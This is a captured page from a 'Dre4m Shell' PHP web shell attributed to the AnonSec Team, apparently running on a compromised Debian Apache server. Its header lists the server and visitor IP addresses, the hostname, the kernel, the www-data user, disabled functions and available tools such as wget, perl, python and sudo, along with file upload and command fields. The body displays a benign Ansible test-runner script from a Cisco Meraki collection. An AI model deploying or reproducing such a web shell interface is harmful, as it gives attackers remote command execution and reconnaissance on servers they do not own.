Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.141.25.125
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/cisco/meraki/scripts/sublime-build/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/cisco/meraki/scripts/sublime-build/build.py.generic
#!/usr/bin/env python

import subprocess
import sys
import pathlib


def is_path_module(path) -> bool:
    path = pathlib.Path(path)
    parts = path.parts
    if "plugins" in parts and "modules" in parts:
        # print(f"This is module {str(parts[-1])}")
        return True
    return False


def is_path_integration_test(path) -> bool:
    path = pathlib.Path(path)
    parts = path.parts
    if "integration" in parts and "tests" in parts:
        return True
    return False


def get_module_name_from_module(path) -> str:
    path = pathlib.Path(path)
    parts = path.parts
    return parts[-1].split(".")[0]


def get_module_name_from_test(path) -> str:
    path = pathlib.Path(path)
    parts = path.parts
    return parts[-3]


def execute_tests(module_name, ansible_test_path=None) -> None:
    if ansible_test_path is not None:
        if ansible_test_path[-1] != "/":
            ansible_test_path = f"{ansible_test_path}/"
        with subprocess.Popen(
            [
                f"{ansible_test_path}ansible-test",
                "network-integration",
                "--allow-unsupported",
                module_name,
            ],
        ) as process:
            process.communicate()
    else:
        with subprocess.Popen(
            [
                "ansible-test",
                "network-integration",
                "--allow-unsupported",
                module_name,
            ],
        ) as process:
            process.communicate()


def main():
    if len(sys.argv) == 1:
        sys.exit("File path must be passed as an argument.")
    if is_path_module(sys.argv[1]) is True:
        module_name = get_module_name_from_module(sys.argv[1])
    if is_path_integration_test(sys.argv[1]) is True:
        module_name = get_module_name_from_test(sys.argv[1])
    if len(sys.argv) == 3:  # Specify ansible-test path
        execute_tests(module_name, sys.argv[2])
    else:
        execute_tests(module_name)


if __name__ == "__main__":
    main()

Anon7 - 2022
AnonSec Team